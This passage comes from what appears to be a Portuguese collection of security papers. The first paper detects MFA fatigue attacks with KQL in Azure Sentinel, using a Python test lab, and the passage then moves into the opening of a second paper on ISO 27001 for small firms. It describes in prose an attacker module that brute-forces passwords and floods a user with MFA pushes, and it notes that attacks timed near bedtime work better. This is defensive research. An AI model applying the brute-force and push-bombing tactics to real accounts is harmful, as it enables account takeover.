Sentinel. A KQL é otimizada para análise de séries temporais e possui uma sintaxe 

baseada em pipeline (|) que facilita a agregação e a correlação de grandes volumes de 

logs de segurança (MICROSOFT, © 2025a). 

 Conforme demonstrado na Figura 2, vemos um exemplo de consulta KQL feita 

em uma tabela chamada SigninLogs. Essa é a tabela utilizada pelo Azure para 

armazenar os registros de logins dos usuários: 

 

Figura 2 - Exemplo de consulta KQL 

 Essa consulta retorna usuários que tiveram mais do que 8 tentativas de login que 

falharam devido a usuário e/ou senha incorretos. Ela começa identificando a tabela na 

qual iremos extrair as informações, nesse caso a SigninLogs. Na linha seguinte, é 

definido o período no qual queremos extrair essas informações. Nesse caso, é definido 

um período de 24 horas. Uma outra condição na consulta constitui a filtragem pelo 

código de erro, chamado ResultType, que nesse caso é o “50126”, que é o código 

específico para nome de usuário ou senha incorretos. Na linha seguinte, é sumarizada a 

contagem desse tipo de erro por usuário. Por último, é definido que a consulta deve 

retornar somente usuários que tiveram mais do que 8 tentativas falhas de login e é 

definido que o resultado da consulta deve conter apenas as colunas UserPrincipalName 

e quantidade. 
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2.5 Kusto Query Language (KQL) e Detecção de Ameaças 

A detecção de ataques de fadiga MFA exige uma análise comportamental, que vai além 

da simples verificação de falhas de login. É necessário correlacionar eventos em um 

curto período para identificar um padrão de bombardeio seguido por uma aprovação 

anômala. Então, se através dos logs de acesso percebermos várias solicitações de 

aprovação para o dispositivo móvel do usuário, podemos identificar que o usuário está 

sendo vítima de um ataque de fadiga MFA. Se após essas solicitações houver a 

aprovação de alguma dessas solicitações, então o atacante conseguiu com sucesso 

efetuar o ataque. 

 Podemos ver na Figura 3, um registro de um típico ataque de fadiga MFA, onde 

o usuário “Alex”, após receber 6 notificações push de autorização MFA, ignorou ou 

negou as autorizações (código 500121) e logo após aceitou a última notificação (código 

0). A tabela mostrada na figura trata-se da tabela personalizada criada no Log Analytics 

para a ingestão de logs, que é feita através do programa criado para este trabalho, o 

LogStreamX. 

 

Figura 3 - Ataque de fadiga MFA registrado na tabela de logins 

2.6 Aplicação no Microsoft Sentinel 

O Microsoft Sentinel é a plataforma de Security Information and Event Management 

(SIEM) e Security Orchestration, Automation and Response (SOAR) nativa do Azure 

(MICROSOFT, © 2025b). O Sentinel registra logs do Microsoft Entra ID, 

principalmente a tabela SigninLogs, que contém informações detalhadas sobre todas as 

tentativas de autenticação e o resultado do MFA. 

 A KQL também pode ser utilizada no Sentinel para criar Regras de Análise que 

buscam padrões específicos de fadiga MFA. Um padrão de detecção eficaz, por 

exemplo, é a sequência de múltiplas falhas de MFA (negadas pelo usuário) seguidas por 

um sucesso de MFA em um intervalo de tempo muito curto, vindo do mesmo endereço 

IP ou para o mesmo usuário. 

3. Metodologia 

A metodologia utilizada nesse trabalho para cumprir com seu propósito é baseada na 

criação de consultas utilizando Kusto Query Language (KQL). As consultas são 

executadas dentro do ambiente do Microsoft Azure, especificamente no Log Analytics. 

Essas consultas são executadas em um ambiente de testes, mas podem ser utilizadas 

normalmente em uma tabela de registros de login em um cenário real. 

Segurança Cibernética na Prática

189



  

 Em um ambiente real, ou seja, em uma empresa que utiliza o ecossistema Azure, 

onde todos os colaboradores possuem suas identidades cadastradas no Microsoft Entra 

ID, que é o serviço do Azure responsável pelo gerenciamento de identidades e possuem 

o fator MFA baseado em autenticação via aplicativo móvel corretamente configurado, 

esses registros de login ficam armazenados em uma tabela chamada SigninLogs. 

 A tabela personalizada criada para o ambiente de testes é uma versão resumida 

da tabela SigninLogs. Ela possui apenas uma pequena fração das colunas que a tabela 

maior possui. As colunas utilizadas na tabela personalizada são: 

• CorrelationId: armazena um código aleatório que é diferente para cada registro 

adicionado na tabela; 

• CreatedDateTime: armazena a data e hora da criação do registro; 

• IPAddress: armazena o endereço IP de onde a requisição foi originada; 

• Location: armazena o código do país de onde a requisição foi originada; 

• ResultType: armazena o código referente ao tipo de registro, por exemplo: o 

código 0 significa que o processo de login foi completado com sucesso; 

• UserPrincipalName: armazena o usuário que está executando o login; 

• Ao ser criada a tabela personalizada, o Azure adiciona duas colunas 

automaticamente, que é a TimeGenerated, que é uma cópia da coluna 

CreatedDateTime e a coluna Type, que armazena o nome da tabela 

personalizada. 

 Para auxiliar na criação dos registros de login necessários para efetuar as 

consultas nessa tabela personalizada, um programa em linguagem Python foi 

desenvolvido, chamado LogStreamX. 

4. Desenvolvimento 

4.1 Detalhes do ambiente 

Para realizarmos consultas KQL em um ambiente Azure a fim de detectar possíveis 

ataques de fadiga MFA, necessitamos em primeiro lugar que exista uma tabela que 

contenha registros de login dos usuários. No Microsoft Entra ID, esses registros ficam 

armazenados em uma tabela chamada SigninLogs. Essa tabela possui mais de 90 

colunas (MICROSOFT, © 2025c), sendo uma das mais importantes, a ResultType, onde 

fica armazenado um código numérico que nos indica o motivo da falha de login, seja 

por simples falha de usuário ou senha, ou por algum problema com a autorização MFA 

que foi enviada ao dispositivo móvel do usuário. Esse problema de autorização pode ser 

tanto um código que foi selecionado errado, quanto a negação da autorização em si, 

feita pelo usuário. 

 Para simularmos um ambiente real e podermos fazer consultas KQL da mesma 

maneira que faríamos nesse ambiente, necessitaremos de uma tabela que contenha 

vários registros de login. Para isso, criamos um ambiente de testes utilizando a 

linguagem de programação Python, na versão 3.10.9. Este ambiente de testes está 

disponível em repositório do Github (SOUSA, 2026). 
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 Através desse ambiente de testes poderemos fazer a inserção de registros de 

login diretamente dentro de uma tabela personalizada criada para esse propósito. Essa 

tabela, ao ser criada, fica acessível no menu Settings e submenu Tables, dentro do 

Workspace do Log Analytics, no portal do Microsoft Azure. Para fazermos as consultas 

KQL, dentro do Workspace, acessamos o menu Logs. 

 A escolha dessa linguagem se deu pela sua simplicidade de uso e facilidade de 

aprendizado. É uma linguagem interpretada que é bastante versátil, onde podemos criar 

desde um simples programa de bate papo até mesmo um sistema complexo para análise 

de dados. 

 O programa desenvolvido possui 3 módulos, que serão detalhados a seguir: 

• Autenticador: nesse módulo, que simula uma página de login, é onde inserimos 

um nome de usuário e sua respectiva senha. Como em um cenário real, após 

inserirmos as credenciais do usuário, é enviado um código MFA de 3 números 

para o módulo celular. Ao enviar os 3 números, é informado qual dos 3 códigos 

é o correto, e que deverá ser selecionado no módulo celular, a fim de que se 

complete o processo de login. Ao inserir a senha errada uma determinada 

quantidade de vezes, o usuário é bloqueado. Para desbloqueá-lo, basta sair e 

entrar novamente no módulo. Possui também uma funcionalidade chamada 

“FICAR VULNERAVEL A MFA FATIGUE ATTACKS”, que como o nome 

diz, o torna susceptível a ataques dessa natureza. A Figura 4 demonstra um print 

da tela do módulo: 

 

Figura 4 - Tela do módulo Autenticador em execução 

• Celular: esse é o módulo que receberá os 3 códigos MFA que foram gerados e 

enviados pelo módulo autenticador. Além dos 3 números, aparecerá também as 

opções para negar ou ignorar a autorização. A Figura 5 demonstra um print da 

tela do módulo: 
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Figura 5 - Tela do módulo Celular em execução 

• Atacante: esse módulo possui algumas funcionalidades utilizadas em ataques 

direcionados a credenciais de usuários. A primeira funcionalidade é a “BRUTE 

FORCE ATTACK”, que solicita um nome de usuário, e após a inserção, o 

módulo faz uma busca pelo usuário em um arquivo de senhas. Ao encontrar o 

usuário, testa todas as possibilidades programadas de senhas até encontrar a 

senha correta. Se não encontrar a senha, ele retorna um erro informando que não 

localizou a senha. Se encontrá-la, retorna a senha. A segunda funcionalidade é a 

“MFA FATIGUE ATTACK”, que solicita um nome de usuário e a senha, e logo 

após executa o ataque diretamente no modo autenticador, que por sua vez envia 

várias solicitações de autorização MFA ao módulo celular. Para essa 

funcionalidade funcionar, é necessário que o módulo autenticador esteja 

vulnerável a ataques de fadiga, o que é feito selecionando a segunda opção do 

menu no autenticador. A terceira funcionalidade, é uma automatização do 

ataque, que unifica a primeira e a segunda opção do menu. Nessa opção, é 

solicitado um nome de usuário, e o módulo já efetua automaticamente um ataque 

de brute force na senha e efetua também sem nenhuma interação adicional, um 

ataque de fadiga MFA. A Figura 6 demonstra um print da tela do módulo: 

 

Figura 6 - Tela do módulo Atacante em execução 

 Uma outra parte importante do programa é o arquivo “senhas.txt”, que é um 

arquivo de texto simples onde ficam armazenados alguns nomes de usuários, bem como 

suas respectivas senhas, criptografadas com o algoritmo de hash criptográfico MD5. 
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 A fim de simplificar o processo de brute force contido no módulo atacante, 

foram criadas senhas numéricas simples de 6 dígitos para todos os usuários. Dessa 

maneira, o brute force é executado de maneira rápida e efetiva. 

 Como todos os módulos estão interligados, cada módulo depende de um outro 

módulo para funcionar, por exemplo: o módulo autenticador aguarda a conexão dos dois 

outros módulos para que seu menu inicial apareça, e os outros dois módulos, ao serem 

executados, também aguardam a inicialização e conexão do módulo autenticador, para 

que suas funções sejam ativadas. 

 Para a conexão entre os módulos, foram utilizados sockets, que são utilizados na 

linguagem tanto para ficar na escuta por conexões através de um endereço IP e uma 

porta, quanto para conectar-se a um outro processo, também utilizando uma porta e um 

endereço IP. Os dois processos envolvidos na conexão podem estar tanto inseridos na 

mesma rede, quanto em uma localidade remota. 

4.2 Configuração do ambiente 

Para que seja possível fazer o envio de logs para essa tabela personalizada do Microsoft 

Azure, especificamente no Log Analytics, utilizando um programa personalizado, é 

necessário que sejam concluídas várias etapas de configuração dentro do portal, que 

são: 

• Criar um grupo de recursos (resource group), clicando na barra de pesquisas 

dentro do portal Azure, digitando resource group. Logo após localizar o item, 

clicar em create, selecionando a assinatura vigente no momento, o nome do 

grupo de recursos, a região. Um grupo de recursos é simplesmente um grupo que 

armazena os recursos que são criados dentro do Azure; 

• Criar um workspace do Log Analytics, que pode ser localizado através da barra 

de pesquisas. O processo é bem parecido com o explicado anteriormente, onde 

clicamos em criar, inserimos o nome do workspace, selecionamos a assinatura 

vigente, o grupo de recursos que foi criado na etapa anterior e a região. Um 

workspace é um repositório para coleta de logs dos recursos presentes no Azure; 

• Precisaremos também registrar uma aplicação no portal, que tem como objetivo 

autenticar a chamada realizada pelo Python à API do Azure. Para isso, 

procuramos por App Registrations na barra de pesquisa, e depois em New 

Registration, clicando logo após em register. Após o registro, precisaremos 

anotar os valores de Client ID e Directory Tenant ID, pois são necessários para o 

processo de autenticação da API através do Python. Precisaremos também gerar 

um Client Secret dessa aplicação que foi registrada. Para isso localizamos a 

aplicação registrada, clicamos no menu Certificates & Secrets e depois em New 

client Secret. Após a criação é necessário anotar o valor da coluna Value que é 

mostrado somente uma vez, após a criação do Client Secret; 

• É necessário criar nessa etapa um DCE (Data Collection Endpoint), da mesma 

maneira que foram criados os recursos anteriores. Precisaremos selecionar a 

mesma região do Workspace criado anteriormente. O valor do Log Ingestion 

deverá ser anotado. Esse valor pode ser encontrado após localizar o DCE criado 

e clicar sobre ele. Durante o processo de criação, se aparecer um erro 

informando que a assinatura não está registrada para usar o namespace 

Segurança Cibernética na Prática

193



  

'microsoft.insights', precisaremos ir até a página principal do portal Azure, 

depois em subscriptions e selecionar a assinatura vigente. Dentro de settings, 

selecionamos resource providers, e na lista que aparecer, localizamos 

‘microsoft.insights’ e clicamos em registrar. O DCE é o primeiro componente a 

receber os registros de login que serão enviados pelo Python. Quando recebe os 

dados, ele encaminha para o DCR, que veremos adiante; 

• Nessa etapa é feita a criação da tabela onde serão armazenados os registros de 

login enviados pelo programa que foi desenvolvido em Python, mencionado 

anteriormente nesse trabalho. Para isso, localizamos o workspace do Log 

Analytics criado anteriormente, e dentro do menu settings, selecionamos o menu 

tables. Dentro desse menu, clicamos no botão create e logo após em New 

custom log (Direct Ingest). Na tela seguinte, informamos o nome da tabela, o 

DCE criado anteriormente, e o DCR (Data Collections Rule). O DCR é o 

componente do Azure que define para onde os dados recebidos devem ser 

enviados, nesse caso, para a tabela que está sendo criada. Como o DCR não foi 

criado anteriormente, precisamos criá-lo através do link Create a new data 

collection rule. Logo após criarmos o DCR, clicamos em next. Na próxima tela, 

devemos enviar um arquivo de texto de exemplo, em formato JSON, contendo 

os nomes das colunas e um dado de exemplo para cada coluna, por exemplo, 

para uma coluna de data, devemos inserir no arquivo a linha “Data:”:“2025-01-

01 00:00:00”. Logo após o envio do arquivo em formato JSON, clicamos em 

Next e logo após em Create. É necessário anotar o valor da propriedade 

Immutable ID do DCR após a sua criação. Na mesma tela onde vemos essa tela 

com o valor de Immutable ID, do lado esquerdo, precisaremos ainda selecionar o 

menu Access Control, clicar no botão Add e logo após em Add role assignment, 

para que possamos atribuir a função Monitoring Metrics Publisher ao DCR. 

Essa atribuição de função fará com que a aplicação registrada anteriormente 

obtenha permissão para usar o DCR; 

• É necessário também adicionar variáveis de ambiente ao sistema operacional 

onde está instalado o Python. As seguintes variáveis de ambiente devem ser 

criadas: AZURE_CLIENT_ID, cujo valor é o Client ID da aplicação que 

registramos no Azure; AZURE_CLIENT_SECRET, cujo valor é o Client Secret 

da aplicação registrada; e a última variável é a AZURE_TENANT_ID, cujo 

valor é o Directory Tenant ID, também disponível nas propriedades da aplicação 

registrada; 

• O interpretador Python deve ser instalado, na versão mínima 3.9, necessária para 

a importação de bibliotecas especificas do Azure; 

• Por último, é necessário também que seja efetuada a instalação manual das 

bibliotecas especificas do Azure no Python. Essas bibliotecas são utilizadas para 

o envio dos logs e para a autenticação do Python no ambiente do Azure. Para 

efetuarmos essa instalação, executamos os comandos “pip install azure-monitor-

ingestion” e “pip install azure-identity” na linha de comando do sistema 

operacional. 
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4.3 Bibliotecas e módulos utilizados 

Durante o desenvolvimento de um aplicativo em Python, muitas vezes é necessário que 

importemos bibliotecas e módulos, a fim de incrementar e otimizar o código pois, 

podemos com isso reaproveitar códigos que já foram criados e estão prontos para uso. 

 No programa desenvolvido nesse ambiente de testes, foram utilizadas várias 

bibliotecas e módulos, que são: socket, OS, threading, hashlib, getpass, time, uuid, json, 

datetime, azure.monitor.ingestion e azure.identity. 

4.4 Fluxo de inserção de logs 

Os registros de login enviados pelo LogStreamX seguem um caminho específico até 

serem inseridos na tabela personalizada que foi criada para esse propósito, conforme 

demonstrado na Figura 7:  

• O primeiro componente a receber os logs enviados é o DCE (Data Collection 

Endpoint, ou Ponto de Extremidade de Coleta de Dados); 

• O DCE encaminha os dados para o DCR (Data Collection Rule); 

• O DCR por sua vez, efetua uma transformação nos dados antes de enviá-los para 

o destino. Uma transformação de dados é configurada durante a criação da 

tabela personalizada, e serve para modificar um dado antes de armazená-lo na 

tabela. Um exemplo de transformação seria em uma coluna que armazena datas, 

onde o aplicativo envia a data em formato MÊS/DIA/ANO e o DCR efetua uma 

transformação nesse dado para que seja alterado para o formato 

DIA/MÊS/ANO; 

• O DCR encaminha os dados para o destino, que nesse caso é um workspace do 

Log Analytics, que contém a tabela onde serão armazenados os dados. 

 

Figura 7 - Fluxo de inserção de logs 

4.5 Consultas utilizando KQL 

As consultas KQL propostas para a detecção de ataques da Fadiga MFA são detalhadas 

abaixo. MFAAttackLogs é o nome da tabela personalizada criada anteriormente para 

inserção de logs enviados pelo programa LogStreamX, desenvolvido em Python para 

Segurança Cibernética na Prática

195



  

esse propósito. O portal acrescenta automaticamente o sufixo “_CL” nas tabelas criadas 

manualmente. 

 Ao executar esse tipo de ataque, o atacante precisa em primeiro lugar descobrir a 

senha da vítima. Isso pode ser feito por exemplo através de algum ataque de engenharia 

social ou comprando credenciais roubadas em fóruns ilegais encontrados na internet ou, 

caso o atacante conheça a vítima ou saiba alguma característica da senha, ele vai tentar 

inserir essas senhas na página de login. A Figura 8 demonstra uma consulta que detecta 

se alguma conta teve credenciais incorretas inseridas mais de 10 vezes nas últimas 24 

horas e o seu respectivo resultado, que mostra que o usuário “Pedro” teve sua senha 

digitada incorretamente 10 vezes nesse período:  

 

Figura 8 - Consulta KQL para detecção de senhas incorretas e o seu resultado 

 Após várias tentativas de inserir uma senha, dependendo da configuração do 

ambiente, a conta pode ser bloqueada. A Figura 9 demonstra uma consulta que 

identifica usuários que tiveram suas contas bloqueadas devido a várias tentativas de 

inserir credenciais incorretas nas últimas 24 horas e mostra também o seu resultado, 

onde podemos ver que dois usuários tiveram suas contas bloqueadas nesse período: 

 

Figura 9 - Consulta KQL para detecção de contas bloqueadas e o seu resultado 

 Após obter sucesso com a senha, o atacante inicia o ataque de fadiga MFA, 

fazendo com que a vítima receba várias notificações de autorização MFA. A Figura 10 

demonstra uma consulta que identifica se alguma conta de usuário teve pelo menos 10 

falhas de autorização MFA nas últimas 24 horas e mostra também o resultado, onde 

podemos ver que o usuário “Gustavo” teve 18 falhas de autorização MFA nesse 

período: 
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Figura 10 - Consulta KQL para detecção de falhas MFA e o seu resultado 

 Para consumar o ataque de fadiga MFA, o atacante espera que o usuário aprove 

a autorização após várias tentativas, a fim de ficar livre do importuno. A Figura 11 

demonstra uma consulta que identifica se algum usuário autorizou a notificação no 

máximo 2 minutos depois de receber 4 ou mais notificações, e mostra também o 

resultado, onde podemos ver que o usuário “João” foi vítima desse ataque, pois aceitou 

a última notificação: 

 

Figura 11 - Consulta KQL que detecta a consumação do ataque de fadiga MFA 
e o seu resultado 

4.6 Mitigação de Ataques de Fadiga MFA 

O ataque de fadiga MFA pode ser muito eficiente, pois não necessita de nenhuma 

ferramenta especial e nem de contato direto com a vítima para ser efetuado com 

sucesso. Basta que o atacante use estratégias simples como o horário do ataque para que 

tenha boas chances de sucesso.  

 Executando o ataque em um horário em que a vítima está próxima da hora de 

dormir por exemplo é uma estratégia interessante, pois o usuário, ao invés de tentar 

identificar as causas das repetidas notificações de autorização MFA, prefere pensar que 

se não está acessando nenhum recurso que requer MFA, pode estar acontecendo uma 

falha do aplicativo autenticador. Dessa maneira, como já está cansado após um dia de 

trabalho e próximo da hora de dormir, prefere aceitar a solicitação, sem ter ideia de que 

na verdade está autorizando o acesso indevido à sua conta de e-mail por exemplo.  
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 O ataque de fadiga MFA pode ser evitado através do uso de determinadas 

estratégias, que são descritas a seguir: 

• Educação dos usuários; (SOSAFE, © 2025) 

• Ativar a correspondência de números; (SOSAFE, © 2025) 

• Limitar a quantidade de notificações MFA; (SOSAFE, © 2025) 

• Bloqueio automático de conta; (KRYSTIAN, 2024) 

• Monitoramento constante; (SOSAFE, © 2025) 

• Bloqueio por geolocalização e por dispositivo; (SOSAFE, © 2025) 

• Ativar o botão de reportar; (SOSAFE, © 2025) 

• Restrição por horário; (SOSAFE, © 2025) 

• Autenticação sem senha. (MICROSOFT, © 2025d) 

5. Conclusão  

O uso da Kusto Query Language por administradores de sistemas, permite que eles 

tomem ações proativas que impedirão que um ataque dessa natureza seja bem-sucedido. 

 O intuito desse trabalho foi exatamente esse, esclarecer como esse tipo de 

ferramenta pode auxiliar tanto na identificação de ataques já consumados, quanto em 

sua prevenção, através de consultas simples feitas no ambiente do Microsoft Azure. Foi 

demonstrado por exemplo uma consulta onde os dados são filtrados pelo código 50126 

da coluna ResultType. Esse é o código utilizado pelo Azure para identificar senhas 

digitadas incorretamente. Isso já é um indício de que um ataque de fadiga MFA está por 

vir pois, ao conseguir descobrir a senha correta e perceber que a conta está protegida 

pela autenticação de múltiplos fatores, ele iniciará então o ataque de fadiga, esperando 

que o usuário aprove a entrada em seu dispositivo móvel. Em uma outra consulta 

demonstrada, podemos identificar quando o usuário está recebendo notificações de 

autorização. Nessa consulta, os dados são filtrados pelo código 500121 da coluna 

ResultType, que é o código do Azure para falhas de autorização MFA. Em uma última 

consulta podemos ver o ataque já consumado, onde o usuário aceita a notificação MFA 

após rejeitar várias vezes notificações anteriores. 

 A linguagem KQL apresentou neste trabalho a vantagem de ser uma ferramenta 

simples, porém poderosa, para a detecção de ataques de fadiga MFA, tendo como 

desvantagem, a sua dependência de uma ferramenta que demonstre ao administrador do 

sistema um alerta automático da ocorrência de ataques, já que é necessário que as 

consultas sejam executadas por ele manualmente. 

 O desenvolvimento apresentado foi crucial para que conseguíssemos alcançar os 

objetivos citados no início do trabalho pois, graças a ele, vimos em detalhes como 

configurar um ambiente de testes que pudesse enviar registros de login personalizados 

para o ambiente do Microsoft Azure, o que permitiu que pudéssemos utilizar consultas 

KQL para a detecção de ataques de Fadiga MFA. 

 A principal dificuldade na elaboração do trabalho foi pesquisar e aprender como 

configurar o ambiente do Microsoft Azure para a ingestão de logs através de um 

aplicativo personalizado. As páginas pesquisadas dentro do próprio site da Microsoft 
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não apresentavam corretamente todas as informações necessárias para configuração, 

sendo necessário realizar pesquisas extensas em fóruns como o Reddit sobre as 

configurações exatas. Outra dificuldade foi referente à implementação em Python pois, 

por diversas vezes muito tempo foi gasto para resolver alguns bugs no código, mas que 

foram solucionados através de pesquisas extensas no Google. 

 Como trabalhos futuros, desenvolveremos assinaturas que podem ser utilizadas 

tanto em SIEMs, como por exemplo o Sentinel da Microsoft, quanto em Sistemas de 

Detecção de Intrusões (IDS), bem como a integração de uma plataforma como o 

Grafana com Azure (GranafaLabs©, 2025), para que Ataques de Fadiga MFA sejam 

detectados sem a intervenção humana e a equipe de SOC ou o administrador de rede 

sejam notificados prontamente quanto à detecção do ataque. As consultas KQL criadas 

neste trabalho também podem ser convertidas, com alguns ajustes, em uma linguagem 

de consulta de banco de dados (SQL). Um dos ajustes necessários para essa conversão, 

seria a remoção de variáveis como a “intervalo” e a “qtdMFA” da consulta KQL que 

detecta a consumação do ataque de fadiga MFA pois, alguns sistemas de gerenciamento 

de bancos de dados como o Postgres, não aceitam a utilização de variáveis diretamente 

na consulta, apenas dentro de funções. 
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Abstract. Information security remains a challenge for small and medium-
sized enterprises (SMEs). This work proposes a practical and low-cost guide
to integrate security into the digital product lifecycle, grounded in ISO/IEC
27001:2022 and aligned with agile practices. Our methodology combines nor-
mative analysis, a literature review, and an exploratory evaluation based on a
survey of Product professionals and the application of the guide in a SaaS orga-
nization. The results indicate governance weaknesses and still late integration
of security, as well as the feasibility of incremental adoption of the guide. We
conclude that ISO/IEC 27001 can be operationalized proportionally in SMEs.

Resumo. A segurança da informação permanece um desafio para pequenas e
médias empresas (PMEs). Este trabalho propõe um guia prático e de baixo
custo para integrar a segurança ao ciclo de vida de produtos digitais, funda-
mentado na ISO/IEC 27001:2022 e alinhado a práticas ágeis. A metodologia
combina análise normativa, revisão da literatura e uma avaliação exploratória
baseada em questionário com profissionais de Produto e na aplicação do guia
em uma organização de SaaS de pequeno porte. Os resultados indicam fra-
gilidades de governança e integração ainda tardia da segurança, bem como a
viabilidade de adoção incremental do guia. Conclui-se que a ISO/IEC 27001
pode ser operacionalizada de forma proporcional em PMEs.

1. Introdução
A segurança da informação é um elemento central da transformação digital, dada a cres-
cente dependência de produtos digitais para a execução de atividades crı́ticas de negócio.
Soluções como Software as a Service (SaaS), plataformas web e APIs concentram grandes
volumes de dados pessoais e sensı́veis, exigindo mecanismos sistemáticos de proteção ao
longo de todo o ciclo de vida do produto. Nesse cenário, a intensificação de integrações,
o uso de serviços em nuvem e a centralização de dados ampliam a superfı́cie de exposição
e os riscos à confidencialidade, integridade e disponibilidade das informações, tornando
a segurança um aspecto crı́tico da governança organizacional.

Evidências empı́ricas reforçam esse cenário. No contexto brasileiro, o Panorama
de Ameaças para a América Latina 2024 aponta que o paı́s registrou mais de 700 milhões
de ataques cibernéticos entre 2023 e 2024, afetando especialmente pequenas e médias
empresas (PMEs) [Apolinário et al. 2025]. Embora relacionados à cibersegurança, esses
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eventos impactam diretamente a segurança da informação ao comprometer ativos infor-
macionais crı́ticos. Estudos indicam que muitas PMEs operam sem polı́ticas formais
de segurança, apresentam baixa visibilidade sobre ativos e riscos e mantêm responsabi-
lidades pouco definidas [Rombaldo Junior et al. 2023]. Além disso, apesar da Lei Ge-
ral de Proteção de Dados Pessoais (LGPD) constituir um marco regulatório relevante
[Brasil 2018], grande parte das organizações ainda se encontra em estágios iniciais de
adequação, evidenciando fragilidades de governança [Ferrão et al. 2021].

Apesar da ampla adoção da ISO/IEC 27001 como referência internacional para a
implementação de Sistemas de Gestão de Segurança da Informação (SGSI), a literatura
aponta limitações recorrentes em sua aplicação prática em PMEs, especialmente devido à
complexidade percebida, ao custo de implementação e à desconexão com a dinâmica de ti-
mes de produto e práticas ágeis [Mera-Amores and Roa 2024, Al-Dosari and Fetais 2023,
Vasconcelos et al. 2025]. Em paralelo, estudos da engenharia de software demonstram
que a incorporação da segurança desde as fases iniciais do ciclo de vida do produto contri-
bui para a redução de vulnerabilidades e retrabalho [Zhao et al. 2024, Ramaj et al. 2022],
mas carecem de modelos operacionais adaptados à realidade de organizações com recur-
sos limitados [ENISA 2021, Adebayo et al. 2024].

Este trabalho tem como objetivo propor e validar um guia prático para a integração
da segurança da informação ao ciclo de vida de produtos digitais, fundamentado na
ISO/IEC 27001:2022 e adaptado à realidade de pequenas e médias empresas. O guia
traduz requisitos e controles essenciais da norma em uma estrutura operacional incre-
mental, orientada a riscos e compatı́vel com contextos ágeis, considerando os principais
desafios enfrentados por PMEs na adoção de práticas estruturadas de segurança. A pro-
posta integra governança, gestão de riscos e práticas de segurança às decisões de produto
e desenvolvimento, sendo organizada em camadas e nı́veis de maturidade para apoiar sua
compreensão, replicação e evolução futura como um framework. A validação é conduzida
de forma exploratória, a partir de evidências empı́ricas de profissionais de produto e de
sua aplicação em uma PME do tipo SaaS.

2. Fundamentação Teórica

Esta seção apresenta os referenciais que fundamentam a integração da segurança da
informação ao ciclo de vida de produtos digitais em PMEs, combinando normas internaci-
onais, frameworks complementares e princı́pios da engenharia de software para sustentar
uma abordagem incremental e orientada a riscos.

A famı́lia ISO/IEC 27000 fornece a base conceitual para a gestão da segurança
da informação, destacando-se a ISO/IEC 27001:2022 como o padrão certificável para
implementação e melhoria contı́nua de Sistemas de Gestão da Segurança da Informação
(SGSI) [ISO/IEC 2018, ISO/IEC 2022a]. Seus requisitos, organizados segundo a Har-
monized Structure, abrangem desde o contexto organizacional até avaliação de desem-
penho, enquanto o Anexo A define 93 controles distribuı́dos nos domı́nios organiza-
cional, pessoas, fı́sico e tecnológico, detalhados na ISO/IEC 27002:2022 [ISO 2021,
ISO/IEC 2022b]. Evidências indicam que a adoção proporcional e orientada a ris-
cos desses controles é particularmente adequada para PMEs, permitindo priorização
de salvaguardas essenciais sem complexidade excessiva [Mera-Amores and Roa 2024,
ENISA 2021]. Em produtos digitais, destacam-se controles relacionados a polı́ticas,
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ativos, acessos, registros de eventos, backup, mudanças e resposta a incidentes
[ISO/IEC 2022a].

A ISO/IEC 27001 é frequentemente complementada por normas e frameworks
que ampliam sua aplicabilidade. A ISO/IEC 27005:2022 e a ISO 31000:2018 forne-
cem diretrizes para gestão de riscos [ISO/IEC 2022c, ISO 2018], enquanto a ISO/IEC
27701:2019 estende o escopo ao tratamento de dados pessoais, em alinhamento com
a LGPD [ISO/IEC 2019, Brasil 2018]. Entre os frameworks amplamente adotados,
destacam-se o NIST Cybersecurity Framework, o COBIT 2019 e o FAIR, por ofere-
cerem abordagens flexı́veis, de governança e quantitativas de risco, respectivamente
[NIST 2024, ISACA 2019, The Open Group 2017].

No contexto de produtos digitais, o ciclo de vida do software é iterativo e de-
manda a integração contı́nua da segurança desde as fases iniciais. A abordagem baseada
em riscos da ISO/IEC 27001:2022 sustenta essa integração ao longo do planejamento,
desenvolvimento e operação, sendo reforçada por controles de desenvolvimento seguro e
gestão de mudanças [ISO/IEC 2022a]. Princı́pios da engenharia de software e do Dev-
SecOps convergem ao defender a incorporação progressiva da segurança por meio de
requisitos antecipados, automação e revisão contı́nua, alinhando-se às restrições e ne-
cessidades das PMEs [Sommerville 2019, Pressman and Maxim 2020, Zhao et al. 2024,
Ramaj et al. 2022].

3. Revisão da Literatura
A literatura sobre a integração da Segurança da Informação ao desenvolvimento de pro-
dutos digitais concentra-se em aproximar práticas de engenharia de software, governança
organizacional e normas internacionais, especialmente a ISO/IEC 27001, em contextos
caracterizados por agilidade e restrições de recursos. Nesse cenário, diferentes aborda-
gens buscam operacionalizar a segurança ao longo do ciclo de vida do produto, concili-
ando requisitos normativos com práticas de desenvolvimento contı́nuo.

As propostas associadas ao DevSecOps enfatizam a incorporação contı́nua da
segurança por meio de automação, testes e integração contı́nua, com foco predomi-
nante no nı́vel técnico do ciclo de desenvolvimento. A literatura aponta que mo-
delos, práticas e nı́veis de maturidade voltados a esse paradigma contribuem para a
redução de vulnerabilidades e para o aumento da rastreabilidade em ambientes ágeis,
oferecendo soluções relevantes para a integração operacional da segurança ao desen-
volvimento de software [Ramaj et al. 2022, Zhao et al. 2024]. De forma complemen-
tar, uma vertente significativa dos estudos dedica-se à adoção incremental de estru-
turas de governança, risco e conformidade fundamentadas na ISO/IEC 27001, com
ênfase em pequenas e médias empresas. Essas abordagens buscam tornar a norma mais
acessı́vel por meio da priorização de controles essenciais e da mitigação de sua comple-
xidade, contribuindo para o fortalecimento da governança da Segurança da Informação
[Adebayo et al. 2024, Mera-Amores and Roa 2024].

Alguns trabalhos avançam ao articular explicitamente a ISO/IEC 27001 com
práticas ágeis e de desenvolvimento contı́nuo. Parte da literatura propõe guias para a
preparação de ambientes DevOps visando à certificação ISO/IEC 27001 em empresas
de software, organizando atividades e artefatos de conformidade no contexto técnico-
operacional [Laine 2024]. Outros estudos analisam os trade-offs da aplicação da norma
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em ambientes ágeis e propõem frameworks conceituais para conciliar requisitos nor-
mativos e princı́pios do desenvolvimento ágil [Naserinia 2025]. No contexto nacional,
destacam-se contribuições que sistematizam práticas e artefatos de segurança ao longo do
ciclo de desenvolvimento, com base na ISO/IEC 27001 e em referenciais complementa-
res, como a OWASP [Siqueira 2016].

Relatórios institucionais complementam esse panorama ao fornecer diagnósticos
de maturidade e recomendações gerais. O estudo da ENISA [ENISA 2021] identifica la-
cunas recorrentes de Segurança da Informação em PMEs e defende a adoção de controles
mı́nimos, proporcionais e orientados a risco, enquanto estudos nacionais evidenciam a
elevada exposição de PMEs brasileiras a incidentes de segurança e a ausência de proces-
sos formais estruturados [Apolinário et al. 2025].

